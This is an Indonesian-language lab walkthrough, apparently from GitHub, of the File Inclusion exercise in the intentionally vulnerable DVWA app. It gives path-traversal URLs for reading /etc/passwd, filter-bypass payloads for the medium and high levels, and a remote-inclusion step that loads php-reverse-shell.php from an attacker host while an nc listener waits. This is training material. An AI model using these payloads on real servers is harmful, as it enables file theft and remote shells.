Skip to content

Latest commit

 

History

History
62 lines (48 loc) · 1.99 KB

File Inclusion.md

File metadata and controls

62 lines (48 loc) · 1.99 KB
Raw

File Inclusion

File Inclusion Attack adalah jenis celah keamanan web yang memungkinkan penyerang mengakses file sensitif di server atau memungkinkan mereka untuk menjalankan file berbahaya di server mereka.

Security Low

http://<IP_Server>/DVWA/vulnerabilities/fi/?page=file4.php

alt text

http://<IP_Server>/DVWA/vulnerabilities/fi/?page=../../hackable/flags/fi.php

alt text

Membuka isi file /etc/passwd di server

http://<IP_Server>/DVWA/vulnerabilities/fi/?page=../../../../../../etc/passwd

alt text

Menjalankan file php-reverse-shell.php ke server

python3 -m http.server 80
nc -lnvp <port>
http://<IP_Server>/DVWA/vulnerabilities/fi/?page=http://<IP_Attacker>/php-reverse-shell.php

alt text

alt text

Security Medium

http://<IP_Server>/DVWA/vulnerabilities/fi/?page=....//....//hackable/flags/fi.php

Membuka isi file /etc/passwd di server

http://<IP_Server>/DVWA/vulnerabilities/fi/?page=....//....//....//....//....//....//etc/passwd

Menjalankan file php-reverse-shell.php ke server

http://<IP_Server>/DVWA/vulnerabilities/fi/?page=hthttp://tp://<IP_Attacker>/php-reverse-shell.php

Security High

http://<IP_Server>/DVWA/vulnerabilities/fi/?page=file:///var/www/html/DVWA/hackable/flags/fi.php

Membuka isi file /etc/passwd di server

http://<IP_Server>/DVWA/vulnerabilities/fi/?page=file:///etc/passwd